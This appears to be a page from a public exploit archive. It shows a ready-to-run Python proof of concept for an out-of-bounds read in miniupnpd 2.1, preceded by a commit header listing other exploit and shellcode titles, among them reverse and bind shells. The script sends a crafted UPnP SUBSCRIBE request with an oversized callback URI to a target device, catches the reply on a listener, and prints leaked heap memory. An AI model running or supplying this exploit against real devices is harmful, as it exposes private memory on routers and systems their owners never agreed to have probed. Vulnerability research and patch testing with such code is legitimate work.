ed58accc5a
5 changes to exploits/shellcodes MiniUPnPd 2.1 - Out-of-Bounds Read MySQL User-Defined (Linux) x32 / x86_64 - sys_exec Function Local Privilege Escalation MySQL User-Defined (Linux) (x32/x86_64) - 'sys_exec' Local Privilege Escalation HTML5 Video Player 1.2.5 - Local Buffer Overflow - Non SEH CloudMe Sync 1.11.2 Buffer Overflow - WoW64 - (DEP Bypass) CloudMe Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass) PDF Signer 3.0 - SSTI to RCE via CSRF Cookie Linux/x86 - execve() - Terminal Calculator (bc) Shellcode (53 bytes) Linux/ARM - Reverse TCP (/bin/sh) - 192.168.1.124:4321 Shellcode (64 bytes) Linux/ARM - Bind TCP (/bin/sh)-0.0.0.0:4321 Null Free Shellcode (84 bytes) Linux/ARM - Reverse TCP (192.168.1.124:4321) Shell (/bin/sh) Shellcode (64 bytes) Linux/ARM - Bind TCP (0.0.0.0:4321) Shell (/bin/sh) + Null-Free Shellcode (84 bytes) Linux/x86 - execve(/bin/sh) + RShift-1 Encoded Shellcode (29 bytes)
57 lines
No EOL
2.5 KiB
Python
Executable file
57 lines
No EOL
2.5 KiB
Python
Executable file
#!/usr/bin/python3
|
|
# miniupnpd <= v2.1 read out-of-bounds PoC
|
|
# by b1ack0wl
|
|
# https://github.com/b1ack0wl/miniupnpd_poc
|
|
|
|
import requests, socketserver, argparse, sys
|
|
|
|
class OK_HTTP_Response(socketserver.StreamRequestHandler):
|
|
def handle(self):
|
|
self.request.settimeout(self.server.timeout)
|
|
self.server.notify = b""
|
|
try:
|
|
line = self.rfile.read(1)
|
|
while len(line) > 0:
|
|
self.server.notify += line
|
|
line = self.rfile.read(1)
|
|
except:
|
|
pass
|
|
self.wfile.write(b"HTTP/1.1 200 OK\r\n\r\n")
|
|
|
|
def splash():
|
|
print("[*] miniupnpd <= v2.1 read out-of-bounds vulnerability [PoC]")
|
|
print("[*] by b1ack0wl")
|
|
|
|
def leak_data(args):
|
|
leak_size = ((1024*args.leak_amount)+526)
|
|
callback_uri= "A" * leak_size
|
|
headers= {'NT': 'upnp:event', 'Callback': '<http://{}:{}/{}>'.format(args.callback_ip,args.callback_port,callback_uri), 'Timeout': 'Second-20'}
|
|
server = socketserver.TCPServer((args.callback_ip, args.callback_port), OK_HTTP_Response)
|
|
server.timeout = args.timeout
|
|
print("[+] Sending request...")
|
|
requests.request(method="SUBSCRIBE",url="http://{}:{}/evt/L3F".format(args.target_ip,args.target_port),headers=headers,timeout=args.timeout)
|
|
server.handle_request()
|
|
leaked_data = server.notify[1023::] # Skip over the first 1024 bytes since it just contains 'NOTIFY /AAA...'
|
|
print("[+] Leaked Data: {}".format(leaked_data))
|
|
print("[+] Leaked Length: {}".format(len(leaked_data)))
|
|
print("[+] Done")
|
|
|
|
def main():
|
|
poc_parser = argparse.ArgumentParser( add_help=True, description='Miniupnpd <= v2.1 read out-of-bounds vulnerability',formatter_class=argparse.ArgumentDefaultsHelpFormatter)
|
|
poc_parser.add_argument('target_ip', help='IP address of vulnerable device.')
|
|
poc_parser.add_argument('target_port', default=5000, help="Target Port.", type=int)
|
|
poc_parser.add_argument('--callback_ip', help="Local IP address for httpd listener.", type=str)
|
|
poc_parser.add_argument('--callback_port', help="Local port for httpd listener.", type=int)
|
|
poc_parser.add_argument('--timeout', default=5, help="Timeout for http requests (in seconds).", type=float)
|
|
poc_parser.add_argument('--leak_amount', default=1, help="Amount of arbitrary heap data to leak (in KB).", type=int)
|
|
args = poc_parser.parse_args()
|
|
arguments = ['target_ip', 'target_port', 'callback_ip', 'callback_port' ]
|
|
for i in arguments:
|
|
if getattr(args, i) == None:
|
|
poc_parser.print_help()
|
|
sys.exit(1)
|
|
leak_data(args)
|
|
|
|
if __name__ == '__main__':
|
|
splash()
|
|
main() |